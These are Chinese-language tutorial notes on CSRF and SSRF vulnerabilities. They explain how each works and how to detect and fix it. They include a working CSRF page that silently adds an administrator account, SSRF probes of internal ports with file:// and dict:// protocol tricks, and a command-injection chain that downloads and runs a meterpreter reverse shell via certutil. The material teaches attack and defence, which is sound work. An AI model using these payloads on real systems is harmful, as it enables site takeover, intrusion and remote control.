知识点
详细点:
CSRF全称:Cross-site request forgery,即跨站请求伪造,也被称为“One Click Attack”或”Session Riding”,通常缩写为CSRF或XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没有输,但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。
CSRF的攻击过程两个条件:
1、目标用户已经登陆了网站,能够执行网站的功能。
2、目标用户访问了攻击者构造的URL。
CSRF安全问题黑盒怎么判断:
1、看验证来源不-修复
2、看凭据有无token-修复
3、看关键操作有无验证-修复
-CSRF安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看
系列内容点:
1、CSRF&SSRF&原理&利用等
2、CSRF&SSRF&黑盒&审计&修复等
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的 ,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。
-SSRF黑盒可能出现的地方:
1、社交分享功能:获取超链接的标题等内容进行显示
2、转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3、在线翻译:给网址翻译对应网页的内容
4、图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5、图片/文章收藏功能:主要其会取URL地址中titile以及文本的内容作为显示以求一个好的使用体验
案例
CSRF-原理&后台自动添加管理员
SSRF-原理&服务&协议&内网&漏洞
CSRF-原理&后台自动添加管理员
-案例说明:小迪在登录后台管理自己网站的时候,突然群里小迪说阿祖又说爱上别人了,随后给我发了个URL链接,小迪直接点了进去,GG!
小迪的网站:http://test.xiaodi8.com/
发送的URL:http://47.94.236.117/add.html
利用流程:
1、获取目标的触发数据包
2、利用CSRFtester构造导出(可以构造当前数据包并且导出的工具)
3、诱使受害者访问特定地址触发
添加管理员用户的相关数据包源码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "1132","36","70","73","79","77","85","87","1152","1176","1091","41","74","84","77","80","79","90","88","1094","86" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 21;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
</form>
<form method="POST" name="form8" action="http://test.xiaodi8.com:80/admin/admin/ajax.php?lang=cn&anyid=47&action=admin&id=xiaodi">
<input type="hidden" name="name" value="value"/>
</form>
<form method="POST" name="form9" action="http://test.xiaodi8.com:80/admin/admin/save.php?action=add&lang=cn&anyid=47">
<input type="hidden" name="useid" value="xiaodi"/>
<input type="hidden" name="pass1" value="xiaodi"/>
<input type="hidden" name="pass2" value="xiaodi"/>
<input type="hidden" name="name" value="xiaodi"/>
<input type="hidden" name="sex" value="0"/>
<input type="hidden" name="tel" value=""/>
<input type="hidden" name="mobile" value="13333333333333"/>
<input type="hidden" name="email" value="471656814@qq.com"/>
<input type="hidden" name="qq" value=""/>
<input type="hidden" name="msn" value=""/>
<input type="hidden" name="taobao" value=""/>
<input type="hidden" name="admin_introduction" value=""/>
<input type="hidden" name="admin_group" value="3"/>
<input type="hidden" name="langok" value="metinfo"/>
<input type="hidden" name="langok_cn" value="cn"/>
<input type="hidden" name="langok_en" value="en"/>
<input type="hidden" name="langok_tc" value="tc"/>
<input type="hidden" name="admin_pop1801" value="1801"/>
<input type="hidden" name="admin_op0" value="metinfo"/>
<input type="hidden" name="admin_op1" value="add"/>
<input type="hidden" name="admin_op2" value="editor"/>
<input type="hidden" name="admin_op3" value="del"/>
<input type="hidden" name="admin_pop" value="yes"/>
<input type="hidden" name="admin_pops1301" value="s1301"/>
<input type="hidden" name="admin_popc1" value="c1"/>
<input type="hidden" name="admin_popc2" value="c2"/>
<input type="hidden" name="admin_popc3" value="c3"/>
<input type="hidden" name="admin_popc25" value="c25"/>
<input type="hidden" name="admin_popc31" value="c31"/>
<input type="hidden" name="admin_popc32" value="c32"/>
<input type="hidden" name="admin_popc33" value="c33"/>
<input type="hidden" name="admin_popc36" value="c36"/>
<input type="hidden" name="admin_popc42" value="c42"/>
<input type="hidden" name="admin_popc43" value="c43"/>
<input type="hidden" name="admin_popc49" value="c49"/>
<input type="hidden" name="admin_popc44" value="c44"/>
<input type="hidden" name="admin_popc50" value="c50"/>
<input type="hidden" name="admin_popc45" value="c45"/>
<input type="hidden" name="admin_popc46" value="c46"/>
<input type="hidden" name="admin_popc47" value="c47"/>
<input type="hidden" name="admin_popc68" value="c68"/>
<input type="hidden" name="admin_popc69" value="c69"/>
<input type="hidden" name="admin_popc70" value="c70"/>
<input type="hidden" name="admin_popc86" value="c86"/>
<input type="hidden" name="admin_popc84" value="c84"/>
<input type="hidden" name="admin_popc87" value="c87"/>
<input type="hidden" name="admin_popc88" value="c88"/>
<input type="hidden" name="admin_popc92" value="c92"/>
<input type="hidden" name="admin_pop9999" value="9999"/>
<input type="hidden" name="admin_pops1401" value="s1401"/>
<input type="hidden" name="admin_pops1106" value="s1106"/>
<input type="hidden" name="admin_pops1404" value="s1404"/>
<input type="hidden" name="admin_pops1406" value="s1406"/>
<input type="hidden" name="admin_pops1101" value="s1101"/>
<input type="hidden" name="admin_pops1102" value="s1102"/>
<input type="hidden" name="admin_pops1505" value="s1505"/>
<input type="hidden" name="admin_pops1507" value="s1507"/>
<input type="hidden" name="admin_pops1503" value="s1503"/>
<input type="hidden" name="admin_pops1504" value="s1504"/>
<input type="hidden" name="admin_pops1006" value="s1006"/>
<input type="hidden" name="admin_pops1501" value="s1501"/>
<input type="hidden" name="admin_pops1601" value="s1601"/>
<input type="hidden" name="admin_pops1603" value="s1603"/>
<input type="hidden" name="admin_pops1004" value="s1004"/>
<input type="hidden" name="admin_pops1005" value="s1005"/>
<input type="hidden" name="admin_pops1007" value="s1007"/>
<input type="hidden" name="admin_pops1103" value="s1103"/>
<input type="hidden" name="admin_pops1201" value="s1201"/>
<input type="hidden" name="admin_pops1002" value="s1002"/>
<input type="hidden" name="admin_pops1003" value="s1003"/>
<input type="hidden" name="admin_pops1104" value="s1104"/>
<input type="hidden" name="Submit" value="保存"/>
</form>
</body>
</html>
设置一下代理,然后在自己搭建的源码一样的网站中执行添加管理员的操作,就可以成功用CSRFTester抓取到相关数据包。
如果在网站中看到有token值,那他就可以防御CSRF攻击,因为token值会一直变,而且每次进行操作时,只有进行token验证通过才会执行操作
SSRF-原理&服务&协议&内网&漏洞
-参考文章:https://www.t00ls.cc/articles-41070.html
-案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSRF探针本地及内网服务,并利用某漏洞直接获取到内网某主机的权限!
1、服务探针:
http://127.0.0.1:8081/
http://127.0.0.1:3306/ mysql数据库的服务端口,如果能返回数据,说明他启用了mysql数据库
2、协议玩法
file:///D:/www.txt
dict://127.0.0.1:3306/info
ftp://192.168.46.148:21
3、内网扫描:
http://192.168.46.148:8080
4、漏洞利用:
-生成:msfvenom -p windows/meterpreter/reverse_http LHOST=47.96.236.117 LPORT=6688 -f exe -o xx.exe
-监听:
use exploit/multi/handler
run
-下载:http://127.0.01/?search ==%00{.exec|cmd /c certutil.exe -urlcache -split -f http://47.94.236.117:80/xx.exe xx.exe.}
-执行:http://192.168.46.148:8080/?search=%00.{.exec|xx.exe.}
图片功能
用户:自己将电脑的图片上传,自己给一个URL让服务器解析上传
1、本地上传到服务器
2、远程加载图片地址
远程加载图片地址上传服务器
过程:
1、访问图片地址-思考:谁访问,你访问的还是服务器访问的?
2、下载图片上传服务器
内网地址一共有三段,分别是10段,172段和192段
直接把1.html放到浏览器上面去读,他借助的是file协议,是用文件协议去读这个地址,这告诉我们可以用file协议去读取其他的文件
例如:file:///D:/www.txt